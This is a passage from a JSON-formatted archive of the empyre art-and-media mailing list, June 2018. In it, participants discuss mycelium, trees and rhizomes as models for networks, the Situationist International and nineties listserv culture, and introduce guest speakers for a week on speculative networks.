over it with our virtual networks and airplanes. \n\nWe must see the forest and its life as our teachers, sometimes teaching us things that are totally counterintuitive to our cultural frames, such as the fact that the spores of Arbuscural Mycorrhizae (non mushroom forming mycelium that connects 95 % of the plant roots on the planet) have more than one nuclei, in fact many of them have between 800 and 35, 000 DIFFERENT nuclei and not all the same DNA but the Genetic material of other fungi AND other species !! These warehouses of genetic information defy the biological species concept !!!! \n\nLike lovers carve their names on trees, the earliest books were engraved on beech bark, hence the origins of the word \u201cbook\u201d - \u201cboc\u201d meaning \u201cbeech tree\u201d.\nUnder the canopy of an ancient Athenian olive grove, home to Plato\u2019s academy, Phaedrus asked Socrates why he never ventured beyond the city walls into the countryside. \u201cI'm a lover of learning\u201d Socrates answered \u201ctrees and open country won't teach me anything, whereas men in the town will.\u201d The grove was later chopped down to make siege machines.\nThe soundtrack of western \u201ccivilisation\u201d is the noise of the book of \u2018nature' being slammed shut and the rumble of war machines approaching. We are told that Nature is mute, it has nothing to teach us, except that it is a battlefield of all against all. But as the war against our climate and ecosystems tips the physiology of the planet into chaos, the myth that Nature is just \u2018red in tooth and claw\u2019, is unravelling.\nThe more we study the living world the more we come to realise that the tendency is actually to associate, build relationships, and cooperate. From trees that work with fungi to share sugars and information between themselves to bees pollinating flowers, nature abounds with reciprocity. The fittest are in fact those that relate the best. Perhaps it\u2019s no surprise that a culture that rewards greed and domination would rather we forget the true lessons of the natural world. Perhaps its no surprise that capitalism wants us to be mobile and rootless, because then we cannot fall in love with a place and if your not in love with a place then you can never defend it from being destroyed and turned into another machine of profit and growth for the gods of the economy.\nSusan simards work on the relationships between trees in forests is gorgeous\u2026.she calls it the WOOD WIDE WEB. \nhttps://www.ted.com/talks/suzanne_simard_how_trees_talk_to_each_other\n\nPETER MACOY\u2019s BOOK - RADICAL MYCOLOGY is a gem of art, activism and science merging together in  practice and philosophy - \nhttps://chthaeus.com/collections/books-1/products/radical-mycology-a-treatise-on-seeing-working-with-fungi\nTHE RADICAL MYCOLOGY WEB SITE HAS SOME GREAT WEBINARS and resources for those of us who want to become fungi and forests...\n\nhttps://radicalmycology.com/\n\nhere is to the mysteries of mycelium, the bridges between life and death...\nyours JJ\nAKA my new drag performance MISS CELIUM\n\n\n\n\n\n\n> On 20 Jun 2018, at 03:58, Aviva Rahmani <ghostnets at ghostnets.com> wrote:\n> \n> ----------empyre- soft-skinned space----------------------\n> Just a quick comment on trees and hierarchies, vertical space doesn\u2019t necessarily imply hierarchy. A tree\u2019s canopy, for example is at least as important to its survival as its roots and all the interconnected mycellae of its underground networks. I would suggest a more realistic conceptualization of these spatial relationships would be to consider permaculture- in which each spatial layer is equally important and all are interconnected. Further more, it might be considered that any trees\u2019 role is grounded in watershed dynamics, the atmosphere, soil, food webs, etc. Even a sentinel tree is only an artifact of these much larger relationships. Re: rehearsals for a network and other systems, it might be interesting to consider about the sentinel tree, that what is obvious may not be what\u2019s important to pay attention to. The corollary in present politics is that the strong man may not be the real danger. It is the followers of the strong man and why they follow.\n>  \n> Aviva Rahmani, PhD\n> www.ghostnets at ghostnets.com <http://www.ghostnets@ghostnets.com/>\n> Watch \u00b3Blued Trees\u00b2:  https://vimeo.com/135290635 <https://vimeo.com/135290635> \n> www.gulftogulf.org <http://www.gulftogulf.org/> \n>  \n>  \n>  \n> From: <empyre-bounces at lists.artdesign.unsw.edu.au <mailto:empyre-bounces at lists.artdesign.unsw.edu.au>> on behalf of \"Vanouse, Paul\" <vanouse at buffalo.edu <mailto:vanouse at buffalo.edu>>\n> Reply-To: soft_skinned_space <empyre at lists.artdesign.unsw.edu.au <mailto:empyre at lists.artdesign.unsw.edu.au>>\n> Date: Tuesday, June 19, 2018 at 3:18 PM\n> To: soft_skinned_space <empyre at lists.artdesign.unsw.edu.au <mailto:empyre at lists.artdesign.unsw.edu.au>>\n> Subject: Re: [-empyre-] rehearsal of a network - [week 3]\n>  \n> ----------empyre- soft-skinned space----------------------\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au <mailto:empyre at lists.artdesign.unsw.edu.au>\n> http://empyre.library.cornell.edu <http://empyre.library.cornell.edu/>_______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au <mailto:empyre at lists.artdesign.unsw.edu.au>\n> http://empyre.library.cornell.edu <http://empyre.library.cornell.edu/>\n________________________________\n\nZAD FOR EVER <https://zadforever.blog/> a new blog in english, dispatches from the liberated territory where we now live.\n\n <https://labofii.wordpress.com/>The Laboratory of Insurrectionary <https://labofii.wordpress.com/>Imagination \nLaboratoire d'Imagination Insurrectionnelle \nMailing list <https://lists.riseup.net/www/subscribe/labofii>\n <https://www.facebook.com/groups/58916936705/?fref=ts> <https://www.facebook.com/groups/58916936705/?fref=ts>FB <https://www.facebook.com/groups/58916936705/?fref=ts> group\ntwitter:  @labofii \nmobile:+33 (0) 6 80 85 71 88\n\nNotre livre-film \"Les Sentiers de L'utopie\" (Editions Zones/La D\u00e9couverte 2011)\ntwitter: @nowtopia. \n\nwww.labofii.net\n\n\n\n\n\n\n\n\n\n\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180620/853e5ba5/attachment.html>\n",
                                        "date": "Wed Jun 20 19:24:39 AEST 2018",
                                        "message-id": "10335",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010335.html",
                                        "content-type": "n/a",
                                        "author_name": "John Jordan",
                                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                                    },
                                    {
                                        "from": "fneyrat at gmail.com",
                                        "id": "10336",
                                        "content": "Dear John Jordan,\n\nYour post leads me to two questions (some questions I have these days\nvis-\u00e0-vis the ecological perspective in general):\n\n1/ One of our goals should be, I think, to go beyond the opposition\nbetween \"becom[ing]\nthe territory\" vs \"floating over it with our virtual networks and\nairplanes\" because the risk of this opposition is to produce the\nfetishization of the territory - but what's about migrants, nomads, those\nwho'd prefer not coming back to the land? What's about the vital aspect of\nexistential deterritorializations? Let's think about Debord's\npsycho-geography, using ecology in order to sustain an existential\n\"d\u00e9rive\"...\n\n2/ Is it necessary to personify Earth, forests, etc.? Fighting against the\ndenial of the non-human is one thing, but symmetrizing humans and\nnon-humans is something else (the \"lesson\" of nature, forests \"teaching\"\nus, etc.). Actually, it seems very difficult to leave the non-human being\nother than us!\n\nMy best,\n\nFrederic Neyrat\n\nOn Wed, Jun 20, 2018 at 11:24 AM, John Jordan <artactivism at gn.apc.org>\nwrote:\n\n> ----------empyre- soft-skinned space----------------------\n>  \u201cThe new picture of reality that the arts and sciences promise is one of a\n> deeply sentient and meaningful universe. It is *poetic *\u2013 productive of\n> new life forms and ever-new embodied experiences. It is expressive of all\n> the subjective experiences that individuals make. It is a universe where\n> human subjects are no longer separated from other organisms but rather form\n> a meshwork of existential relationships \u2013 a quite real \u2018web of life\u2019. \u201cAndreas\n> Weber , *Enlivenment: Towards a fundamental shift in the concepts of\n> nature,*\n> <https://www.boell.de/en/2013/02/01/enlivenment-towards-fundamental-shift-concepts-nature-culture-and-politics>* culture\n> and politics, *2013 Heinrich Bo\u0308ll Foundation*. *\n>\n> The key is that we begin to think like a forest which means become\n> sensitive to its sensitivity, to the sense of  every being in it, from the\n> mycelial hyphe that spread through the ground building soil and feeding the\n> forest, to the ants that farm and  harvest mushrooms, the woodpecker that\n> profits from the fungi that rot wood to build her nest. The forest is a a\n> wave of life, ever moving, ever adapting, ever weaving spaces that enable\n> forms of life to flower, ever changing and diversifying. But the key lesson\n> it gives us 21st century humans is inhabiting,  how do we  really inhabit\n> worlds, which means giving up the hyper mobility of the cultural class and\n> learning to become the territory rather than floating over it with our\n> virtual networks and airplanes.\n>\n> We must see the forest and its life as our teachers, sometimes teaching us\n> things that are totally counterintuitive to our cultural frames, such as\n> the fact that the spores of Arbuscural Mycorrhizae (non mushroom forming\n> mycelium that connects 95 % of the plant roots on the planet) have more\n> than one nuclei, in fact many of them have between 800 and 35, 000\n> DIFFERENT nuclei and not all the same DNA but the Genetic material of other\n> fungi AND other species !! These warehouses of genetic information defy the\n> biological species concept !!!!\n>\n> Like lovers carve their names on trees, the earliest books were engraved\n> on beech bark, hence the origins of the word \u201cbook\u201d - \u201cboc\u201d meaning \u201cbeech\n> tree\u201d.\n>\n> Under the canopy of an ancient Athenian olive grove, home to Plato\u2019s\n> academy, Phaedrus asked Socrates why he never ventured beyond the city\n> walls into the countryside. \u201cI'm a lover of learning\u201d Socrates answered\n> \u201ctrees and open country won't teach me anything, whereas men in the town\n> will.\u201d The grove was later chopped down to make siege machines.\n>\n> The soundtrack of western \u201ccivilisation\u201d is the noise of the book of\n> \u2018nature' being slammed shut and the rumble of war machines approaching. We\n> are told that Nature is mute, it has nothing to teach us, except that it is\n> a battlefield of all against all. But as the war against our climate and\n> ecosystems tips the physiology of the planet into chaos, the myth that\n> Nature is just \u2018red in tooth and claw\u2019, is unravelling.\n>\n> The more we study the living world the more we come to realise that the\n> tendency is actually to associate, build relationships, and cooperate. From\n> trees that work with fungi to share sugars and information between\n> themselves to bees pollinating flowers, nature abounds with reciprocity.\n> The fittest are in fact those that relate the best. Perhaps it\u2019s no\n> surprise that a culture that rewards greed and domination would rather we\n> forget the true lessons of the natural world. Perhaps its no surprise that\n> capitalism wants us to be mobile and rootless, because then we cannot fall\n> in love with a place and if your not in love with a place then you can\n> never defend it from being destroyed and turned into another machine of\n> profit and growth for the gods of the economy.\n>\n> Susan simards work on the relationships between trees in forests is\n> gorgeous\u2026.she calls it the WOOD WIDE WEB.\n>\n> https://www.ted.com/talks/suzanne_simard_how_trees_talk_to_each_other\n>\n> PETER MACOY\u2019s BOOK - RADICAL MYCOLOGY is a gem of art, activism and\n> science merging together in  practice and philosophy -\n> https://chthaeus.com/collections/books-1/products/\n> radical-mycology-a-treatise-on-seeing-working-with-fungi\n>\n> THE RADICAL MYCOLOGY WEB SITE HAS SOME GREAT WEBINARS and resources for\n> those of us who want to become fungi and forests...\n>\n> https://radicalmycology.com/\n>\n> here is to the mysteries of mycelium, the bridges between life and death...\n> yours JJ\n> AKA my new drag performance MISS CELIUM\n>\n>\n>\n>\n>\n>\n>\n> On 20 Jun 2018, at 03:58, Aviva Rahmani <ghostnets at ghostnets.com> wrote:\n>\n> ----------empyre- soft-skinned space----------------------\n> Just a quick comment on trees and hierarchies, vertical space doesn\u2019t\n> necessarily imply hierarchy. A tree\u2019s canopy, for example is at least as\n> important to its survival as its roots and all the interconnected mycellae\n> of its underground networks. I would suggest a more realistic\n> conceptualization of these spatial relationships would be to consider\n> permaculture- in which each spatial layer is equally important and all are\n> interconnected. Further more, it might be considered that any trees\u2019 role\n> is grounded in watershed dynamics, the atmosphere, soil, food webs, etc.\n> Even a sentinel tree is only an artifact of these much larger\n> relationships. Re: rehearsals for a network and other systems, it might be\n> interesting to consider about the sentinel tree, that what is obvious may\n> not be what\u2019s important to pay attention to. The corollary in present\n> politics is that the strong man may not be the real danger. It is the\n> followers of the strong man and why they follow.\n>\n> Aviva Rahmani, PhD\n> www.ghostnets at ghostnets.com\n> Watch \u00b3Blued Trees\u00b2:  https://vimeo.com/135290635\n> www.gulftogulf.org\n>\n>\n>\n> *From: *<empyre-bounces at lists.artdesign.unsw.edu.au> on behalf of\n> \"Vanouse, Paul\" <vanouse at buffalo.edu>\n> *Reply-To: *soft_skinned_space <empyre at lists.artdesign.unsw.edu.au>\n> *Date: *Tuesday, June 19, 2018 at 3:18 PM\n> *To: *soft_skinned_space <empyre at lists.artdesign.unsw.edu.au>\n> *Subject: *Re: [-empyre-] rehearsal of a network - [week 3]\n>\n> ----------empyre- soft-skinned space----------------------\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n>\n>\n> ________________________________\n>\n> ZAD FOR EVER <https://zadforever.blog/> a new blog in english, dispatches\n> from the liberated territory where we now live.\n>\n> <https://labofii.wordpress.com/>The Laboratory of Insurrectionary\n> <https://labofii.wordpress.com/>Imagination\n> Laboratoire d'Imagination Insurrectionnelle\n> Mailing list <https://lists.riseup.net/www/subscribe/labofii>\n> <https://www.facebook.com/groups/58916936705/?fref=ts>\n> <https://www.facebook.com/groups/58916936705/?fref=ts>FB\n> <https://www.facebook.com/groups/58916936705/?fref=ts> group\n> twitter:  @labofii\n> mobile:+33 (0) 6 80 85 71 88\n>\n> Notre livre-film \"Les Sentiers de L'utopie\" (Editions Zones/La D\u00e9couverte\n> 2011)\n> twitter: @nowtopia.\n>\n> www.labofii.net\n>\n>\n>\n>\n>\n>\n>\n>\n>\n>\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n>\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180620/75dd2c68/attachment.html>\n",
                                        "date": "Wed Jun 20 20:24:22 AEST 2018",
                                        "message-id": "10336",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010336.html",
                                        "content-type": "n/a",
                                        "author_name": "Frederic Neyrat",
                                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                                    },
                                    {
                                        "from": "shulea at earthlink.net",
                                        "id": "10337",
                                        "content": "Dear empyrians, mushrooms, trees, dolly and pollies, fishy creatures and \ncultures of mutating selves....\n\nLet me again, pick up a few threads here...\n\nPaul Vanouse on 19/06/18\n\"What I find particularly interesting about this thread in a mycelium \ndiscussion tending toward DNA and genetics is that genetics are always \nportrayed with an arboreal model, i.e. \u201cthe family tree\u201d, \u201cthe family \ntree of man\u201d, etc.  Deleuze and Guattari found the teleology and \npatterning of branching, as well as the forever hierarchic relationship \nbetween branch and trunk as something to be resisted.  The branching \nmodel fits an ontology of hierarchy, whereas the rhizome model fits a \nphilosophy of becoming.\"\n\nIndeed, somehow the DNA investigation got some public confessions on \nancestry, roots tracing.\nAviva is right to defend the trees grounding in watershed dynamics, not \nnecessary hierarchical.\n\nIn the case of MNS, no funding (as yet), thus, not much (top down) \nmanagement to speak of ...\nthus the networks inevitably \"form, break, disrupt or mutate\" (annet \ndekker 19/06/18)\n\nrecap Annet-\n\"how networks form, break, disrupt or mutate...... how these types of \ninfrastructures could be 'cycled' into other projects and made \nproductive in other grounds. in other words, perhaps pragmatic, how to \ntake into account the human scale(s), how to connect and, moreover, how \nto make sustainable these (post-net) networks?\"\n\nLet's talk about human scale(s), any takers??\n\nand thanks to JJ's radical mycology link\nhttps://radicalmycology.com/\n\nDo the becoming imply territorial take over?\nFrederic Neyrat's two questions lead us to  a counter-narrative that \ndoes not allow us so easily certify our assumptions to be 'OTHERS\"\n(aya, human, non-human, chthulucene, do we have kinship in the making??)\n\nI think i am gonna need to stand still for a bit till someone takes me \nout of the ruins................\n\nover\nsl\n\n\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180621/6a107bdf/attachment.html>\n",
                                        "date": "Thu Jun 21 17:18:47 AEST 2018",
                                        "message-id": "10337",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010337.html",
                                        "content-type": "n/a",
                                        "author_name": "Shu Lea Cheang",
                                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                                    },
                                    {
                                        "from": "shulea at earthlink.net",
                                        "id": "10340",
                                        "content": "Dear all\n\nthanks to Fran llich's latest posting (as promised) which coming at the \ntail end of week3 serves well to lead us into week 4. I believe there \nwould  be some follow up for Fran's tremendous endeavours, Fran, please \nstay with us for this week 4.\n\nThis week we focus on proposals for speculative, tangible networks -  \nthe unrealized, to be realized, the anticipated, to be anticipated, the \ntrashed and the in progress, deep sleep conjuration, deep water dive in, \ndeep root expounding.... we open up this week to welcome all your \nproposal contributions.\n\nI am honored to welcome the following three heavy-weight thinkers, \nwriters, hackers, weavers+++  whose work i admired much to join us this \nweek.\n\nFrancesca da Rimini (Adelaide, Australia) is an artist, writer, \nfilmmaker and researcher.She was awarded an Australia Council New Media \nFellowship in 1999, and her work has been widely published and \nexhibited. She is a founding member of the cyberfeminist art collective \nVNS Matrix, intercontinental group identity_runners (with Diane Ludin \nand Agnese Trocchi, and In Her Interior (with Virginia Barratt). Recent \ncollaborations include performance/installation /lips becoming beaks, \nhexing the alien/ and /The Darkening/. She periodically adds to her \nlabyrinth at LambdaMOO to continue hexing capitalism from within the beast.\n\nDenis Roio aka Jaromil (Amsterdam, NL) is a purpose driven software \nartisan and well known ethical hacker.CTO and co-founder of the Dyne.org \nthink &do tank, a non-profit foundation with more than 15 years of \nexpertise in social and technical innovation. Leading digital culture \ninstitution popular among digital natives and millenials. Jaromil shares \nunderstandable insights and visions on Internet of Things, Blockchain \nTechnologies, Cyber Security, Data Ownership and Software Freedom. \nExpert speaker about Open Source, Lean and Agile methodologies\n\nMcKenzie Wark from New Castle, Australia, currentl living and working in \nNew York City. known for his writings on media theory \n<https://en.wikipedia.org/wiki/Media_studies>, critical theory \n<https://en.wikipedia.org/wiki/Critical_theory>, new media \n<https://en.wikipedia.org/wiki/New_media>, and the Situationist \nInternational \n<https://en.wikipedia.org/wiki/Situationist_International>. His best \nknown works are /A Hacker Manifesto \n<https://en.wikipedia.org/wiki/A_Hacker_Manifesto>/ and /Gamer Theory \n<https://en.wikipedia.org/w/index.php?title=Gamer_Theory&action=edit&redlink=1>/. \nHe is Professor of Media and Cultural Studies at The New School \n<https://en.wikipedia.org/wiki/The_New_School> in New York City. To cite \na few of his books -\n\n\u00b7/The Beach Beneath the Street: The Everyday Life and Glorious Times of \nthe Situationist International/ (Verso, 2011)\n\n\u00b7/Telesthesia: Communication, Culture and Class/ (Polity, 2012)\n\n\u00b7/Excommunication: Three Inquiries in Media and Mediation/ (with \nAlexander R. Galloway and Eugene Thacker) (University of Chicago Press, \n2013)\n\n\u00b7/The Spectacle of Disintegration/ (Verso, 2013)\n\n\u00b7/Molecular Red: Theory for the Anthropocene/ (Verso, 2015)\n\n\u00b7/General Intellects: Twenty-One Thinkers for the Twenty-First Century/ \n(Verso, 2017)\n\n\nOn a sunny day in June.. let the words begin....\n\n\nover\n\nsl\n\n\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180623/e8260b49/attachment.html>\n",
                                        "date": "Sat Jun 23 18:25:11 AEST 2018",
                                        "message-id": "10340",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010340.html",
                                        "content-type": "n/a",
                                        "author_name": "Shu Lea Cheang",
                                        "subject": "[-empyre-]  rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "content-type": "n/a",
                                        "from": "warkk at newschool.edu",
                                        "id": "10341",
                                        "content": "Thanks Shu Lea,\n    i was at a thesis defense just yesterday and i was thinking about this.\nThe defender's name is Pehr Englen, and i expect he'll write about this\nsoon. The topic was the Situationist International considered as a network,\nand as an argument between different forms of network. Which got me\nthinking about Jacqueline de Jonge's journal, The Situationist Times, which\none can read as a publication for artists and (partly) by artists that was\na resource-book for thinking and acting in networks. It was multi-lingual,\nbut had more of a visual than a written language. There were issues devoted\nto specific topologies, such as rings or spirals. I think this side of the\nSituationist International that ended up in The Situationist Times was very\ninterested in what distributed networks of autonomous groupings would be\nlike as a form of artistic communication. One has to wrest it out of the\nhands of art history, which is more interested in either individual artists\nor movements that have names and leaders. This was an avant-garde that had\nneither of those qualities.\n\nThis connected for me to a project i have never quite managed to get done,\nwhich would be a more personal account of the listserv culture of the\nnineties. I was on nettime more than empyre but i see them as part of a\nnetwork of networks that includes undercurrents, spectre, rhizome and\nseveral others. How do you write about something in the form of linear\nprose that didn't have that form at all? It is hard enough with just two\ncorrespondents. When i was editing my correspondence with Kathy Acker this\ndrove me crazy. In actuality there were always several threads going and we\nanswered each other on those threads. But in book form all that has to\ncollapse into one sequence. I printed the whole thing out and moved the\ndocuments around on the floor. The order ended up being a compromise.\nImagine doing that for dozens of threads among hundreds of parties.... Not\nthat i would want to actually transform those listserv debates literally\ninto print form, but even just notionally to transform the dynamics of\nthose networks into one prose narrative seems to defeat the form of the\nthing itself.\n\nSo that might be a place to start thinking about speculative *and* tangible\nnetworks, or ones that are both at once.\n\nOn Sat, Jun 23, 2018 at 4:25 AM, Shu Lea Cheang <shulea at earthlink.net>\nwrote:\n\n> Dear all\n>\n> thanks to Fran llich's latest posting (as promised) which coming at the\n> tail end of week3 serves well to lead us into week 4. I believe there\n> would  be some follow up for Fran's tremendous endeavours, Fran, please\n> stay with us for this week 4.\n>\n> This week we focus on proposals for speculative, tangible networks -  the\n> unrealized, to be realized, the anticipated, to be anticipated, the trashed\n> and the in progress, deep sleep conjuration, deep water dive in, deep root\n> expounding.... we open up this week to welcome all your proposal\n> contributions.\n>\n> I am honored to welcome the following three heavy-weight thinkers,\n> writers, hackers, weavers+++  whose work i admired much to join us this\n> week.\n>\n> Francesca da Rimini (Adelaide, Australia) is an artist, writer, filmmaker\n> and researcher. She was awarded an Australia Council New Media Fellowship\n> in 1999, and her work has been widely published and exhibited. She is a\n> founding member of the cyberfeminist art collective VNS Matrix,\n> intercontinental group identity_runners (with Diane Ludin and Agnese\n> Trocchi, and In Her Interior (with Virginia Barratt). Recent collaborations\n> include performance/installation *lips becoming beaks, hexing the alien*\n> and *The Darkening*. She periodically adds to her labyrinth at LambdaMOO\n> to continue hexing capitalism from within the beast.\n>\n> Denis Roio aka Jaromil (Amsterdam, NL) is a purpose driven software\n> artisan and well known ethical hacker. CTO and co-founder of the Dyne.org\n> think &do tank, a non-profit foundation with more than 15 years of\n> expertise in social and technical innovation. Leading digital culture\n> institution popular among digital natives and millenials. Jaromil shares\n> understandable insights and visions on Internet of Things, Blockchain\n> Technologies, Cyber Security, Data Ownership and Software Freedom. Expert\n> speaker about Open Source, Lean and Agile methodologies\n>\n> McKenzie Wark from New Castle, Australia, currentl living and working in\n> New York City. known for his writings on media theory\n> <https://en.wikipedia.org/wiki/Media_studies>, critical theory\n> <https://en.wikipedia.org/wiki/Critical_theory>, new media\n> <https://en.wikipedia.org/wiki/New_media>, and the Situationist\n> International <https://en.wikipedia.org/wiki/Situationist_International>.\n> His best known works are *A Hacker Manifesto\n> <https://en.wikipedia.org/wiki/A_Hacker_Manifesto>* and *Gamer Theory\n> <https://en.wikipedia.org/w/index.php?title=Gamer_Theory&action=edit&redlink=1>*.\n> He is Professor of Media and Cultural Studies at The New School\n> <https://en.wikipedia.org/wiki/The_New_School> in New York City. To cite\n> a few of his books -\n>\n> \u00b7  *The Beach Beneath the Street: The Everyday Life and Glorious Times of\n> the Situationist International* (Verso, 2011)\n>\n> \u00b7  *Telesthesia: Communication, Culture and Class* (Polity, 2012)\n>\n> \u00b7  *Excommunication: Three Inquiries in Media and Mediation* (with\n> Alexander R. Galloway and Eugene Thacker) (University of Chicago Press,\n> 2013)\n>\n> \u00b7  *The Spectacle of Disintegration* (Verso, 2013)\n>\n> \u00b7  *Molecular Red: Theory for the Anthropocene* (Verso, 2015)\n>\n> \u00b7  *General Intellects: Twenty-One Thinkers for the Twenty-First Century*\n> (Verso, 2017)\n>\n>\n> On a sunny day in June.. let the words begin....\n>\n>\n> over\n>\n> sl\n>\n>\n>\n>\n\n\n-- \n\nMcKenzie Wark\n*Professor of Media and Culture*\nEUGENE LANG COLLEGE\n65 w11th st, NEW YORK, NY 10011\n\nwarkk at newschool.edu\n<http://www.newschool.edu/marketing-communication/email-signature.html#>\nT 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180623/09b72291/attachment.html>\n",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010341.html",
                                        "message-id": "10341",
                                        "date": "Sun Jun 24 01:01:40 AEST 2018",
                                        "list": "empyre",
                                        "author_name": "warkk",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "shulea at earthlink.net",
                                        "id": "10342",
                                        "content": "hi, warkk\n\nI think we should bring in Rachel Baker to help us digging into the \nSituationists!! and we can start listing some keywords: distributed, \nautonomous.... (with all empyrians' help!)\n\nso, indeed about the threads...just as we witnessed here last 3 weeks, \nthe multiple threads, the threads that got picked up or sunk into \noblivion......\n\nand about listserve culture...you should really work on the book. I am \nvery interested in it.\n\ni have this web work, composting the net (2013).\n\nreal time accessing listserve, retrieve the postings randomly, scramble \nthe words, make compost out of it for the fresh sprouts to grow..\n\nhttp://compostingthenet.net\n\nuse menu pull down to take a listserve, when one start composting \nprocess, press mouse to stop the tumbling and read.\n\nthe composted ones - nettime, spectre, empyre, idc, aha, (skor is out, \nand it seems rohpost also not available any more)\n\nAnnet Decker once commissioned me to compost SKOR of NL, which gave me \nthe archive access . unfortunately SKOR got shut down and the site is no \nlonger available. this was casualty of NL's last media art budget cut...\n\nover\n\nsl\n\n\nOn 23/06/18 17:01, warkk wrote:\n> ----------empyre- soft-skinned space----------------------\n>\n>\n> Thanks Shu Lea,\n>     i was at a thesis defense just yesterday and i was thinking about \n> this. The defender's name is Pehr Englen, and i expect he'll write \n> about this soon. The topic was the Situationist International \n> considered as a network, and as an argument between different forms of \n> network. Which got me thinking about Jacqueline de Jonge's journal, \n> The Situationist Times, which one can read as a publication for \n> artists and (partly) by artists that was a resource-book for thinking \n> and acting in networks. It was multi-lingual, but had more of a visual \n> than a written language. There were issues devoted to specific \n> topologies, such as rings or spirals. I think this side of the \n> Situationist International that ended up in The Situationist Times was \n> very interested in what distributed networks of autonomous groupings \n> would be like as a form of artistic communication. One has to wrest it \n> out of the hands of art history, which is more interested in either \n> individual artists or movements that have names and leaders. This was \n> an avant-garde that had neither of those qualities.\n>\n> This connected for me to a project i have never quite managed to get \n> done, which would be a more personal account of the listserv culture \n> of the nineties. I was on nettime more than empyre but i see them as \n> part of a network of networks that includes undercurrents, spectre, \n> rhizome and several others. How do you write about something in the \n> form of linear prose that didn't have that form at all? It is hard \n> enough with just two correspondents. When i was editing my \n> correspondence with Kathy Acker this drove me crazy. In actuality \n> there were always several threads going and we answered each other on \n> those threads. But in book form all that has to collapse into one \n> sequence. I printed the whole thing out and moved the documents around \n> on the floor. The order ended up being a compromise. Imagine doing \n> that for dozens of threads among hundreds of parties.... Not that i \n> would want to actually transform those listserv debates literally into \n> print form, but even just notionally to transform the dynamics of \n> those networks into one prose narrative seems to defeat the form of \n> the thing itself.\n>\n> So that might be a place to start thinking about speculative *and* \n> tangible networks, or ones that are both at once.\n>\n> On Sat, Jun 23, 2018 at 4:25 AM, Shu Lea Cheang <shulea at earthlink.net \n> <mailto:shulea at earthlink.net>> wrote:\n>\n>     Dear all\n>\n>     thanks to Fran llich's latest posting (as promised) which coming\n>     at the tail end of week3 serves well to lead us into week 4. I\n>     believe there would  be some follow up for Fran's tremendous\n>     endeavours, Fran, please stay with us for this week 4.\n>\n>     This week we focus on proposals for speculative, tangible networks\n>     -  the unrealized, to be realized, the anticipated, to be\n>     anticipated, the trashed and the in progress, deep sleep\n>     conjuration, deep water dive in, deep root expounding.... we open\n>     up this week to welcome all your proposal contributions.\n>\n>     I am honored to welcome the following three heavy-weight thinkers,\n>     writers, hackers, weavers+++  whose work i admired much to join us\n>     this week.\n>\n>     Francesca da Rimini (Adelaide, Australia) is an artist, writer,\n>     filmmaker and researcher.She was awarded an Australia Council New\n>     Media Fellowship in 1999, and her work has been widely published\n>     and exhibited. She is a founding member of the cyberfeminist art\n>     collective VNS Matrix, intercontinental group identity_runners\n>     (with Diane Ludin and Agnese Trocchi, and In Her Interior (with\n>     Virginia Barratt). Recent collaborations include\n>     performance/installation /lips becoming beaks, hexing the alien/\n>     and /The Darkening/. She periodically adds to her labyrinth at\n>     LambdaMOO to continue hexing capitalism from within the beast.\n>\n>     Denis Roio aka Jaromil (Amsterdam, NL) is a purpose driven\n>     software artisan and well known ethical hacker.CTO and co-founder\n>     of the Dyne.org think &do tank, a non-profit foundation with more\n>     than 15 years of expertise in social and technical innovation.\n>     Leading digital culture institution popular among digital natives\n>     and millenials. Jaromil shares understandable insights and visions\n>     on Internet of Things, Blockchain Technologies, Cyber Security,\n>     Data Ownership and Software Freedom. Expert speaker about Open\n>     Source, Lean and Agile methodologies\n>\n>     McKenzie Wark from New Castle, Australia, currentl living and\n>     working in New York City. known for his writings on media theory\n>     <https://en.wikipedia.org/wiki/Media_studies>, critical theory\n>     <https://en.wikipedia.org/wiki/Critical_theory>, new media\n>     <https://en.wikipedia.org/wiki/New_media>, and the Situationist\n>     International\n>     <https://en.wikipedia.org/wiki/Situationist_International>. His\n>     best known works are /A Hacker Manifesto\n>     <https://en.wikipedia.org/wiki/A_Hacker_Manifesto>/ and /Gamer\n>     Theory\n>     <https://en.wikipedia.org/w/index.php?title=Gamer_Theory&action=edit&redlink=1>/.\n>     He is Professor of Media and Cultural Studies at The New School\n>     <https://en.wikipedia.org/wiki/The_New_School> in New York City.\n>     To cite a few of his books -\n>\n>     \u00b7/The Beach Beneath the Street: The Everyday Life and Glorious\n>     Times of the Situationist International/ (Verso, 2011)\n>\n>     \u00b7/Telesthesia: Communication, Culture and Class/ (Polity, 2012)\n>\n>     \u00b7/Excommunication: Three Inquiries in Media and Mediation/ (with\n>     Alexander R. Galloway and Eugene Thacker) (University of Chicago\n>     Press, 2013)\n>\n>     \u00b7/The Spectacle of Disintegration/ (Verso, 2013)\n>\n>     \u00b7/Molecular Red: Theory for the Anthropocene/ 